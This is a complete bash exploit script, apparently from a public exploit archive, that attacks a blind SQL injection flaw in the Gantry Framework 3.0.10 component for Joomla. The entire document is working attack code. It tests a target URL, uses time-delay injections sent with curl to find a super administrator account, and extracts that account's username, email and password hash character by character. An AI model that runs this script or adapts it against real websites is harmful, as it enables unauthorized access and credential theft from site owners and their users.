Joomla! Component Gantry 3.0.10 – Blind SQL Injection
#!/bin/bash # Exploit Title: Gantry Framework 3.0.10 (Joomla) Blind SQL Injection Exploit # Date: 4 September 2010 # Author: jdc # Software Link: http://www.gantry-framework.org # Version: 3.0.10 # Patched: 3.0.11 if [ "$1" == "" ] then echo "$0 usage: $0 url [debug]" echo "" exit 1 fi clear echo "##############################################################" echo "## Gantry Framework 3.0.10 Blind SQL Injection Exploit ##" echo "##############################################################" echo "" echo " Probing target $1 ..." echo "" GANTRY_PATH="$1/index.php" GANTRY_TIMEOUT="5" GANTRY_DELAY="10" GANTRY_AGENT='Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)' GANTRY_DATA="option=com_gantry&tmpl=gantry-ajax&model=module&moduleid=" GANTRY_BENCHMARK="10000000" GANTRY_ADMIN_ID="" GANTRY_OUTPUT="" GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16" GANTRY_TEST=`curl -s -A "$GANTRY_AGENT" -d "$GANTRY_DATA$GANTRY_EXPLOIT" "$GANTRY_PATH"` GANTRY_REQUESTS="1" if [ "Direct access not allowed." != "$GANTRY_TEST" ] then echo $GANTRY_TEST echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Site not vulnerable. Bailing! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo -n " Trying to get a super admin id... " for N in `seq 62 9999` do GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$N),BENCHMARK($GANTRY_BENCHMARK,MD5(1)),16)" GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w '%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d "$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`" GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc` if [ "" != "$2" ] then printf "$N" echo " $GANTRY_TIME" fi if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ] then GANTRY_ADMIN_ID="$N" break fi sleep $GANTRY_DELAY done if [ "" == $GANTRY_ADMIN_ID ] then echo "FAILED!" echo "" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Injection FAILED! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo $GANTRY_ADMIN_ID echo " Fetching admin info (this WILL take a while)... " echo "" echo -n " > " for I in `seq 1 250` do GANTRY_LENGTH=`echo "$GANTRY_OUTPUT" | wc -c` GANTRY_CONTINUE=0 #a,d,m,i,n,b-c,e-h,j-l,o-z,A-Z,0-9,special chars for J in `seq 97 97;seq 100 100;seq 109 109;seq 105 105;seq 110 110;seq 98 99;seq 101 104;seq 106 108;seq 111 122;seq 65 90;seq 48 57;seq 32 47;seq 58 64;seq 91 96;seq 123 126` do if [ 1 == $GANTRY_CONTINUE ] then continue fi sleep $GANTRY_DELAY GANTRY_EXPLOIT="-1%20UNION%20ALL%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,IF((SELECT%20id%20FROM%20%23__users%20WHERE%20gid=25%20AND%20id=$GANTRY_ADMIN_ID%20AND%20ASCII(SUBSTRING(CONCAT(username,0x3a,email,0x3a,password),$I,1))=$J),BENCHMARK(10000000,MD5(1)),16)" GANTRY_TIME="`curl -s -A "$GANTRY_AGENT" -o /dev/null -w '%{time_total}' -H 'X-Requested-With: XMLHttpRequest' -d "$GANTRY_DATA$GANTRY_EXPLOIT" $GANTRY_PATH`" GANTRY_REQUESTS=`echo "$GANTRY_REQUESTS + 1" | bc` if [ "" != "$2" ] then printf "\x$(printf %x $J)" echo " $GANTRY_TIME" fi if [ `echo "$GANTRY_TIME > $GANTRY_TIMEOUT" | bc` == 1 ] then LETTER=`printf "\x$(printf %x $J)"` GANTRY_OUTPUT="$GANTRY_OUTPUT$LETTER" GANTRY_CONTINUE=1 if [ "" == "$2" ] then echo -n "$LETTER" fi fi done GANTRY_LENGTH2=`echo "$GANTRY_OUTPUT" | wc -c` if [ "$GANTRY_LENGTH" == "$GANTRY_LENGTH2" ] then break fi done echo "" if [ "$GANTRY_OUTPUT" == "" ] then echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "!! Injection FAILED! !!" echo "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 1 fi echo "" echo "$GANTRY_OUTPUT" echo "" echo "$GANTRY_REQUESTS requests" echo "" exit 0 |